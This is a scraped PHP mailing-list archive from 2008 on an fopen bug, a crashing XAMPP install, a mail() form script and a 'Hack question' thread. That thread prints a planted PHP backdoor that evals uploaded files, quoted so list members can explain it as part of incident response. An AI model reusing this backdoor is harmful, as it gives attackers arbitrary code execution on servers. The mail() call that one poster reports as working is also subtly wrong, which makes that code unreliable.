mkdir($foldersystem); chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } This code works for me. How about you ? -- /James On Thu, May 1, 2008 at 11:04 AM, Joep Roebroek [EMAIL PROTECTED] wrote: Does anyone have an idea? Is this a bug in PHP? Because when I add or remove one static letter in the filename, it does work. And if I don't the file is created, but the $imgstr (random 8 characters) is replaced by a totally different value (also random 8 characters).. I have no idea where this new value comes from. regards, Joep 2008/4/29 Joep Roebroek [EMAIL PROTECTED]: Hi, I'm having a strange problem with fopen For clearence, here is the phpinfo page: http://www.grondengoed.nl/phpinfo.php I will shortly explain the problem I'm having: $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder @mkdir($foldersystem); @chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } //$imagesmall, contains the image resource if(fwrite($handle, $imagesmall) === FALSE) { echo Cannot write to file (32); exit; } fclose($handle); Erverything works perfectly fine.But one thing, it doesn't give the file the name that it should get. A name for instance has to be: 54961tdtdtdtd-s0.jpg The number is the id of the database row, the 8 characters are random. -s stands for small and 0 is the picture index. When I echo the value, I get what I want. But when I save it, the random 8 character string had become a totally different 8 character string :S. I have googled and checked things over and over again, cost me hours and I still haven't found the reason. What is noticeable is that when I leave one character away from the name, the value IS what it schould be:S. I really hope you can help me, if you need further info yust ask. Thanks in advance. regards, Joep Roebroek -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit:
Re: [PHP] Xampp question, pretty much 0T
/* Top posting from my cell... 1. Format hard drive 2. Install redhat fc8 or Ubuntu 8.04 3. Load the new MySQL installation with your backup file If you really have to stay with windoze, remove and re-install apache. Look at the system log files as they SHOULD tell you what was causing the crash. */ Hey Wolf, Thanks for replying. Would love to install Linux, problem is... dont know the first thing about it if things go wrong, I always wanted to learn what its all about but when I started to read up on it quickly got confused with all the different flavors out there... which one is right for me/ a total beginner? for every little thing I would probably have to join a linux list and post.. what about drivers for the bits and pieces of the laptop? what about software? most of the places I go to download software (freeware or shareware) is only for Win.. Would love to switch away from Win... but i think the OS guys will have to make it seem less of a mountain to climb to do so :( Cheers! R Be a better friend, newshound, and know-it-all with Yahoo! Mobile. Try it now. http://mobile.yahoo.com/;_ylt=Ahu06i62sR8HDtDypao8Wcj9tAcJ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Xampp question, pretty much 0T
On May 1, 2008, at 8:56 AM, Ryan S wrote: /* Top posting from my cell... 1. Format hard drive 2. Install redhat fc8 or Ubuntu 8.04 3. Load the new MySQL installation with your backup file If you really have to stay with windoze, remove and re-install apache. Look at the system log files as they SHOULD tell you what was causing the crash. */ Hey Wolf, Thanks for replying. Would love to install Linux, problem is... dont know the first thing about it if things go wrong, I always wanted to learn what its all about but when I started to read up on it quickly got confused with all the different flavors out there... which one is right for me/ a total beginner? for every little thing I would probably have to join a linux list and post.. what about drivers for the bits and pieces of the laptop? what about software? most of the places I go to download software (freeware or shareware) is only for Win.. Would love to switch away from Win... but i think the OS guys will have to make it seem less of a mountain to climb to do so :( One option, I don't know what your budget is, but Apple's Macintosh OS X is basically a flavor of Unix (FreeBSD if I remember right) with a nice user interface on it. You have the ability to dive into the commandline when you need to/ want to, but have the comfortable point/click user interface when you don't want to worry about it. Just something else to think about... Oh... And there's no virii for the Mac :) -- Jason Pruim Raoset Inc. Technology Manager MQC Specialist 3251 132nd ave Holland, MI, 49424-9337 www.raoset.com [EMAIL PROTECTED] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Xampp question, pretty much 0T
/* Top posting from my cell... 1. Format hard drive 2. Install redhat fc8 or Ubuntu 8.04 3. Load the new MySQL installation with your backup file If you really have to stay with windoze, remove and re-install apache. Look at the system log files as they SHOULD tell you what was causing the crash. */ Hey Wolf, Thanks for replying. Would love to install Linux, problem is... dont know the first thing about it if things go wrong, I always wanted to learn what its all about but when I started to read up on it quickly got confused with all the different flavors out there... which one is right for me/ a total beginner? for every little thing I would probably have to join a linux list and post.. what about drivers for the bits and pieces of the laptop? what about software? most of the places I go to download software (freeware or shareware) is only for Win.. Would love to switch away from Win... but i think the OS guys will have to make it seem less of a mountain to climb to do so :( reply One option, I don't know what your budget is, but Apple's Macintosh OS X is basically a flavor of Unix (FreeBSD if I remember right) with a nice user interface on it. You have the ability to dive into the commandline when you need to/ want to, but have the comfortable point/click user interface when you don't want to worry about it. Just something else to think about... Oh... And there's no virii for the Mac :) /reply Cant afford a new comp or a new OS and as for your last statement: http://www.sophos.com.au/pressoffice/news/articles/2006/02/macosxleap.html _almost_ no virii for the Mac :) Cheers! R Be a better friend, newshound, and know-it-all with Yahoo! Mobile. Try it now. http://mobile.yahoo.com/;_ylt=Ahu06i62sR8HDtDypao8Wcj9tAcJ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Xampp question, pretty much 0T
On May 1, 2008, at 9:30 AM, Ryan S wrote: /* Top posting from my cell... 1. Format hard drive 2. Install redhat fc8 or Ubuntu 8.04 3. Load the new MySQL installation with your backup file If you really have to stay with windoze, remove and re-install apache. Look at the system log files as they SHOULD tell you what was causing the crash. */ Hey Wolf, Thanks for replying. Would love to install Linux, problem is... dont know the first thing about it if things go wrong, I always wanted to learn what its all about but when I started to read up on it quickly got confused with all the different flavors out there... which one is right for me/ a total beginner? for every little thing I would probably have to join a linux list and post.. what about drivers for the bits and pieces of the laptop? what about software? most of the places I go to download software (freeware or shareware) is only for Win.. Would love to switch away from Win... but i think the OS guys will have to make it seem less of a mountain to climb to do so :( reply One option, I don't know what your budget is, but Apple's Macintosh OS X is basically a flavor of Unix (FreeBSD if I remember right) with a nice user interface on it. You have the ability to dive into the commandline when you need to/ want to, but have the comfortable point/click user interface when you don't want to worry about it. Just something else to think about... Oh... And there's no virii for the Mac :) /reply Cant afford a new comp or a new OS and as for your last statement: http://www.sophos.com.au/pressoffice/news/articles/2006/02/macosxleap.html _almost_ no virii for the Mac :) None that have effected my computers here at work, or at home. No anti- virus, no firewall's ;) Oh and I'll take 1 over 97,467 anyday :) http://www.macdailynews.com/index.php/weblog/comments/5393/ -- Jason Pruim Raoset Inc. Technology Manager MQC Specialist 3251 132nd ave Holland, MI, 49424-9337 www.raoset.com [EMAIL PROTECTED] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Xampp question, pretty much 0T
Cant afford a new comp or a new OS and as for your last statement: http://www.sophos.com.au/pressoffice/news/articles/2006/02/macosxleap.html _almost_ no virii for the Mac :) /* None that have effected my computers here at work, or at home. No anti- virus, no firewall's ;) Oh and I'll take 1 over 97,467 anyday :) http://www.macdailynews.com/index.php/weblog/comments/5393/ */ Haha fair enough... but that will still leave you owning a Mac... will rather have the viruses than the shame! Plus you know nearly any software you download (shareware/freeware or even pirated) will support windows.. can you say the same for the Mac? Anyway, lets not take this down the my daddy can beat up your daddy lane and make this into a Apple against M$ thread. Cheers! R Be a better friend, newshound, and know-it-all with Yahoo! Mobile. Try it now. http://mobile.yahoo.com/;_ylt=Ahu06i62sR8HDtDypao8Wcj9tAcJ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Xampp question, pretty much 0T
On May 1, 2008, at 11:43 AM, Ryan S wrote: Cant afford a new comp or a new OS and as for your last statement: http://www.sophos.com.au/pressoffice/news/articles/2006/02/macosxleap.html _almost_ no virii for the Mac :) /* None that have effected my computers here at work, or at home. No anti- virus, no firewall's ;) Oh and I'll take 1 over 97,467 anyday :) http://www.macdailynews.com/index.php/weblog/comments/5393/ */ Haha fair enough... but that will still leave you owning a Mac... will rather have the viruses than the shame! Plus you know nearly any software you download (shareware/freeware or even pirated) will support windows.. can you say the same for the Mac? Anyway, lets not take this down the my daddy can beat up your daddy lane and make this into a Apple against M$ thread. Don't intend to, so I'll stop after this next point :) Over 25,000+ commercial products for the mac Probably at least as many shareware/freeware aps and with the new Mac's if you REALLY need to you can subject it to running windows so it can basically run every single piece of software out there :) -- Jason Pruim Raoset Inc. Technology Manager MQC Specialist 3251 132nd ave Holland, MI, 49424-9337 www.raoset.com [EMAIL PROTECTED] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Xampp question, pretty much 0T
clip After reading a bit I see that if I just copy the data directory in the mySql directory, I can restore it from there? any idea if I have that wrong? Hmm I guess, but I'd take the safer road and open a console and run: mysqldump.exe -u username -p --all-databases --add-drop-database --opt mysql.database.dump so you have an sql file you can restore if necessary. Adjust paths/files/usernames/passwords as necessary. /clip Hey! Thanks for replying. I decided to try something else while waiting for a response (still nothing from the main XAMPP forums though) and this is what worked for me, am posting it here so maybe it will help someone else in future (via the archives) facing the same problems that I faced , I dont know if this is a temp fix, I dont think so and it works perfectly for now. Downloaded XAMPP again, installed it in c:/xampp2 (original version was in c:/xampp) copied over all the files needed from the htdocs to c:/xampp2's htdocs in the MySql folder, go into the data folder and just copy the files with the DB names that you created, leave all other files alone, paste these files into the c:/xampp2/mysql/data folder... do not overwrite anything, and if you have done this correctly you should _not_ get the overwrite prompt Go to xampp's security page and redo the security including putting the password for root.. I am a bit of a paranoid dude, so i did a complete backup of all myfiles in htdocs and the mySql data folder and burnt it to DVD, you might consider doing thesame...just in case. Thats it! Remember to edit the paths in your scripts for those that need it from xampp to xampp2. A slight hassle, but not one that cant be done in 3-10 mins including copy time. Thanks again Chris for your replies to this thread. Cheers! R Be a better friend, newshound, and know-it-all with Yahoo! Mobile. Try it now. http://mobile.yahoo.com/;_ylt=Ahu06i62sR8HDtDypao8Wcj9tAcJ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Xampp question, pretty much 0T
Top posting from my cell... 1. Format hard drive 2. Install redhat fc8 or Ubuntu 8.04 3. Load the new MySQL installation with your backup file If you really have to stay with windoze, remove and re-install apache. Look at the system log files as they SHOULD tell you what was causing the crash. -Original Message- From: Ryan S [EMAIL PROTECTED] Sent: Tuesday, April 29, 2008 6:26 PM To: php php php-general@lists.php.net Subject: [PHP] Xampp question, pretty much 0T Hello! I have been using XAMPP for quite some time now (thanks to the recommendations from this list) without any real complaints... and the only reason I am writing here is because i am sure a lot of you guys run the same thing considering the amount of people who recommended it to me when I asked for an easy install of AMP. It was easy to install and has given me months of hassle free use... but today i have started facing some strange problems of everytime I start Apache.. it crashes my laptop, anybody else run into this? I use this only for PHP, no perl. My config: Win Vista home premium with all updates and patches (genuine, not pirate copy) core2 duo 2ghz 2 gigs ram Nothing installed today for it to be acting up so. Do you suggest I reinstall? or can I just reinstall Apache in some way? If i have to reinstall is there an easy way of backing up my stuff and then reinstalling then putting my stuff back? (I know i can just copy the files that were in the htdocs... but am talking about an easy way to copy the files and the DBs and put them back... or is that just wishful thinking? TIA, Ryan -- - The faulty interface lies between the chair and the keyboard. - Creativity is great, but plagiarism is faster! [The entire original message is not included] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Xampp question, pretty much 0T
Alternatively, I suggest you look into VMWare. There are several free versions (player, server, etc) if you don't want Workstation (which I absolutely love!) Workstation will give you such life-savers as multiple Snapshots amongst other things. http://www.vmware.com/products/player/ http://www.vmware.com/products/ws/ http://www.vmware.com/products/server/ Then you can setup a LAMP VM with your favorite distro (I use Gentoo myself, but don't recommend it for a VM as the compilation all the time is painful). You can download some already setup and ready to go. http://www.vmware.com/appliances/directory/cat/53 This is how I do all my development. I run XP as my host OS. VMware is NAT. Setup SAMBA ssh on the VM and don't forget to edit your C:\WINDOWS\system32\drivers\etc\hosts with an entry to point to your VM's virtual host(s): 192.168.222.128 askeet 192.168.222.128 askeet.LAMP.com And your /etc/apache2/vhosts.d/askeet.conf VirtualHost *:80 DocumentRoot /home/sfprojects/askeet/web ServerName askeet.LAMP.com ServerAlias askeet.LAMP.com askeet ErrorLog logs/askeet-error_log CustomLog logs/askeet-access_log common DirectoryIndex index.php Alias /sf /usr/share/php/data/symfony/web/sf Directory /usr/share/php/data/symfony/web AllowOverride All Options FollowSymLinks +Indexes Order allow,deny Allow from all /Directory Directory /home/sfprojects/askeet/web AllowOverride All Options FollowSymLinks +Indexes Order allow,deny Allow from all /Directory /VirtualHost Then you just go to http://askeet.LAMP.com in your XP host and you're hitting your VM LAMP virtual host. Add this to your /etc/samba/smb.conf file: [askeet] comment = askeet symphony development VMWare path = /home/sfprojects/askeet read only = no public = yes create mode = 0666 directory mode = 0777 force user = daevid WIN+R and \\askeet and you'll connect to that directory to start coding in your favorite PHP editor. Works like a f'n champ! :D I'll also suggest SQLYog and SecureCRT as my two other tools I just can't do without. Daevid Vincent http://daevid.com -Original Message- From: Wolf [mailto:[EMAIL PROTECTED] Sent: Wednesday, April 30, 2008 6:06 AM To: Ryan S; php php Subject: RE: [PHP] Xampp question, pretty much 0T Top posting from my cell... 1. Format hard drive 2. Install redhat fc8 or Ubuntu 8.04 3. Load the new MySQL installation with your backup file If you really have to stay with windoze, remove and re-install apache. Look at the system log files as they SHOULD tell you what was causing the crash. -Original Message- From: Ryan S [EMAIL PROTECTED] Sent: Tuesday, April 29, 2008 6:26 PM To: php php php-general@lists.php.net Subject: [PHP] Xampp question, pretty much 0T Hello! I have been using XAMPP for quite some time now (thanks to the recommendations from this list) without any real complaints... and the only reason I am writing here is because i am sure a lot of you guys run the same thing considering the amount of people who recommended it to me when I asked for an easy install of AMP. It was easy to install and has given me months of hassle free use... but today i have started facing some strange problems of everytime I start Apache.. it crashes my laptop, anybody else run into this? I use this only for PHP, no perl. My config: Win Vista home premium with all updates and patches (genuine, not pirate copy) core2 duo 2ghz 2 gigs ram Nothing installed today for it to be acting up so. Do you suggest I reinstall? or can I just reinstall Apache in some way? If i have to reinstall is there an easy way of backing up my stuff and then reinstalling then putting my stuff back? (I know i can just copy the files that were in the htdocs... but am talking about an easy way to copy the files and the DBs and put them back... or is that just wishful thinking? TIA, Ryan -- - The faulty interface lies between the chair and the keyboard. - Creativity is great, but plagiarism is faster! [The entire original message is not included] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Xampp question, pretty much 0T
Ryan S wrote: Hello! I have been using XAMPP for quite some time now (thanks to the recommendations from this list) without any real complaints... and the only reason I am writing here is because i am sure a lot of you guys run the same thing considering the amount of people who recommended it to me when I asked for an easy install of AMP. It was easy to install and has given me months of hassle free use... but today i have started facing some strange problems of everytime I start Apache... it crashes my laptop, anybody else run into this? You could try their forums: http://www.apachefriends.org/f/?language=english -- Postgresql php tutorials http://www.designmagick.com/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Xampp question, pretty much 0T
You could try their forums: http://www.apachefriends.org/f/?language=english Thanks! Just after I posted i started searching on google and found them, have joined and posted... no reply as yet... just the waiting game now i guess. Main prob is I cant even get phpmyadmin running to copy the DBs to do a reinstall because PHPmyAdmin wont work... without apache of course. After reading a bit I see that if I just copy the data directory in the mySql directory, I can restore it from there? any idea if I have that wrong? Cheers! R Be a better friend, newshound, and know-it-all with Yahoo! Mobile. Try it now. http://mobile.yahoo.com/;_ylt=Ahu06i62sR8HDtDypao8Wcj9tAcJ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Xampp question, pretty much 0T
After reading a bit I see that if I just copy the data directory in the mySql directory, I can restore it from there? any idea if I have that wrong? Hmm I guess, but I'd take the safer road and open a console and run: mysqldump.exe -u username -p --all-databases --add-drop-database --opt mysql.database.dump so you have an sql file you can restore if necessary. Adjust paths/files/usernames/passwords as necessary. -- Postgresql php tutorials http://www.designmagick.com/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
Al wrote: I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is nobody. I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files. ?php error_reporting(1);global $HTTP_SERVER_VARS; function say($t) { echo $t\n; }; function testdata($t) { say(md5(testdata_$t)); }; echo pre; testdata('start'); if (md5($_POST[p])==aace99428c50dbe965acc93f3f275cd3){ if ($code = @fread(@fopen($HTTP_POST_FILES[f][tmp_name],rb),$HTTP_POST_FILES[f][size])){ eval($code); }else{ testdata('f'); }; }else{ testdata('pass'); }; testdata('end'); echo /pre; ? ?php error_reporting(1); global $HTTP_SERVER_VARS; function say($t) { echo $t\n; } ; function testdata($t) { say(md5(testdata_$t)); } ; echo pre; testdata('start'); if (md5($_POST[p]) == aace99428c50dbe965acc93f3f275cd3) { if ($code = @fread(@fopen($HTTP_POST_FILES[f][tmp_name], rb), $HTTP_POST_FILES[f][size])) { eval($code); } else { testdata('f'); } ; } else { testdata('pass'); } ; testdata('end'); echo /pre; ? Don't always assume it is PHP. Is Apache running as nobody? If so, it could be Apache using the PUT method to place the file in a writable directory. -- Jim Lucas Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them. Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
Can you explain this in more detail for me. Sounds like this code is providing the entry point for the other hack code. Greg Bowser wrote: I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. It will allow him to upload and execute arbitrary code on your server. Generally speaking, arbitrary code execution is a bad thing. :). -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
On Thu, Apr 17, 2008 at 8:15 AM, Al [EMAIL PROTECTED] wrote: Can you explain this in more detail for me. Sounds like this code is providing the entry point for the other hack code. It probably is, by reading the code from the malicious /tmp files (/tmp should not allow any execution, by the way). However, more of an issue is how the exploit code got on there in the first place. Don't just settle for fixing an issue; solve the problem. Otherwise, it'll just happen again and again. -- /Daniel P. Brown Dedicated Servers - Intel 2.4GHz w/2TB bandwidth/mo. starting at just $59.99/mo. with no contract! Dedicated servers, VPS, and hosting from $2.50/mo. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
Daniel Brown has written on 4/16/2008 5:20 PM: On Wed, Apr 16, 2008 at 5:14 PM, Pete Holsberg [EMAIL PROTECTED] wrote: Why do I need both from_addr and field_4 (Email Address)? Could I just use $from = $_POST['field_4']? Sorry, I noticed it after I started rewriting the form processor, and then forgot to edit the email accordingly. That's correct. Where I placed the $_POST['from_addr'] stuff, just replace it with $_POST['field_4']. And then, of course, you can ignore the HTML field-adding section of my previous email OK. Here's what I have now for processor.php: ?php // $where_form_is=http://.$_SERVER['SERVER_NAME'].strrev(strstr(strrev($_SERVER['PHP_SELF']),/)); $where_form_is = http://.$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])./; if (mail($to, $from, $subject, $body)) { echo(pMessage successfully sent!/p); } else { echo(pMessage delivery failed.../p); } $to = [EMAIL PROTECTED],[EMAIL PROTECTED]; $subject = SUBSCRIBE; $from = $_POST['field_4']; $body = Form data: Name: .$_POST['field_1']. Street Address: .$_POST['field_2']. Phone Number: .$_POST['field_3']. Email Address: .$_POST['field_4']. powered by phpFormGenerator, but fixed by PHP-General!; $headers = From: \.$_POST['field_1'].\ .$_POST['from_addr'].\r\n; $headers .= X-Mailer: PHP/.phpversion().\r\n; include(confirm.html); ? I don't get either of the echo statements, and the emails are not being delivered. What did I omit? Thanks. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
On Thu, Apr 17, 2008 at 12:17 PM, Pete Holsberg [EMAIL PROTECTED] wrote: [snip!] OK. Here's what I have now for processor.php: ?php // $where_form_is=http://.$_SERVER['SERVER_NAME'].strrev(strstr(strrev($_SERVER['PHP_SELF']),/)); $where_form_is = http://.$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])./; if (mail($to, $from, $subject, $body)) { echo(pMessage successfully sent!/p); } else { echo(pMessage delivery failed.../p); } [snip!] I'll reiterate: Note the mail() parameters. There's no header information there. RTFM: http://php.net/mail You just have your mail() function wrong. Reiterating my code as well (with updated field_4 data): ?php $where_form_is = http://.$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])./; $to = [EMAIL PROTECTED],[EMAIL PROTECTED]; $subject = SUBSCRIBE; $from = $_POST['field_4']; $body = Form data: Name: .$_POST['field_1']. Street Address: .$_POST['field_2']. Phone Number: .$_POST['field_3']. Email Address: .$_POST['field_4']. powered by phpFormGenerator, but fixed by PHP-General!; $headers = From: \.$_POST['field_1'].\ .$_POST['field_4'].\r\n; $headers .= X-Mailer: PHP/.phpversion().\r\n; include(confirm.html); ? -- /Daniel P. Brown Dedicated Servers - Intel 2.4GHz w/2TB bandwidth/mo. starting at just $59.99/mo. with no contract! Dedicated servers, VPS, and hosting from $2.50/mo. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
Daniel Brown has written on 4/17/2008 12:29 PM: I'll reiterate: Note the mail() parameters. There's no header information there. RTFM: http://php.net/mail You just have your mail() function wrong. Reiterating my code as well (with updated field_4 data): ?php $where_form_is = http://.$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])./; $to = [EMAIL PROTECTED],[EMAIL PROTECTED]; $subject = SUBSCRIBE; $from = $_POST['field_4']; $body = Form data: Name: .$_POST['field_1']. Street Address: .$_POST['field_2']. Phone Number: .$_POST['field_3']. Email Address: .$_POST['field_4']. powered by phpFormGenerator, but fixed by PHP-General!; $headers = From: \.$_POST['field_1'].\ .$_POST['field_4'].\r\n; $headers .= X-Mailer: PHP/.phpversion().\r\n; include(confirm.html); ? OK. I don't see a mail() in your code. Would it be mail($to, $subject, $body, $headers); ? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
On Thu, Apr 17, 2008 at 12:37 PM, Pete Holsberg [EMAIL PROTECTED] wrote: OK. I don't see a mail() in your code. Would it be mail($to, $subject, $body, $headers); ? Entirely my fault, Pete. I'm a moron sometimes. Could've sworn it was in there. Sorry about that. Yes, you've got it exactly right. -- /Daniel P. Brown Dedicated Servers - Intel 2.4GHz w/2TB bandwidth/mo. starting at just $59.99/mo. with no contract! Dedicated servers, VPS, and hosting from $2.50/mo. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
Ooops! processor.php is now: ?php $where_form_is = http://.$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])./; $to = [EMAIL PROTECTED],[EMAIL PROTECTED]; $subject = SUBSCRIBE; //$from = $_POST['field_4']; == this was the culprit $body = Form data: Name: .$_POST['field_1']. Street Address: .$_POST['field_2']. Phone Number: .$_POST['field_3']. Email Address: .$_POST['field_4']. powered by phpFormGenerator, but fixed by PHP-General!; $headers = From: \.$_POST['field_1'].\ .$_POST['field_4'].\r\n; $headers .= X-Mailer: PHP/.phpversion().\r\n; mail($to, $from, $subject, $body); include(confirm.html); ? AND IT WORKS!! 1E6 thank yous!! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
On Thu, Apr 17, 2008 at 12:50 PM, Pete Holsberg [EMAIL PROTECTED] wrote: 1E6 thank yous!! My TI SR-10 couldn't handle that calculation and blew up in my hand. ;-P -- /Daniel P. Brown Dedicated Servers - Intel 2.4GHz w/2TB bandwidth/mo. starting at just $59.99/mo. with no contract! Dedicated servers, VPS, and hosting from $2.50/mo. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
Al wrote: I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is nobody. I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files. Hi, If I look up the md5 digest 'aace99428c50dbe965acc93f3f275cd3', more people on the internet have (had) problems with this kind of hack. A quick md5 lookup comes with this: Ox93Mdpqme8s But that doesn't give any Google results, so nobody knows what it is for (or related to). Do you have any third party software installed? Like a BB or a CMS or whatever? When these hackers know your site/server is vulnerable they will keep on exploiting it. Even if it just means SMTP relaying for phishing or a HTTP directory for putting malware in. Keep track of your HTTP-logs and see if these URL's are being requested! Kind regards, Aschwin Wesselius -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. It will allow him to upload and execute arbitrary code on your server. Generally speaking, arbitrary code execution is a bad thing. :). -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
Al wrote: I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is nobody. I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files. Hi, If I look up the md5 digest 'aace99428c50dbe965acc93f3f275cd3', more people on the internet have (had) problems with this kind of hack. A quick md5 lookup comes with this: Ox93Mdpqme8s But that doesn't give any Google results, so nobody knows what it is for (or related to). Do you have any third party software installed? Like a BB or a CMS or whatever? When these hackers know your site/server is vulnerable they will keep on exploiting it. Even if it just means SMTP relaying for phishing or a HTTP directory for putting malware in. Keep track of your HTTP-logs and see if these URL's are being requested! Kind regards, Aschwin Wesselius -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
On Wed, Apr 16, 2008 at 12:13 PM, Al [EMAIL PROTECTED] wrote: I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is nobody. I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files. [snip=code] Al, It looks to me as though there may be a script that's allowing writing, judging by the all-as-one-string nature of the first script example. Check your Apache logs to see if that string appears, and if so, to what script it's attacking. Then review the script. If you need a hand, feel free to contact me privately and we can discuss it further. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php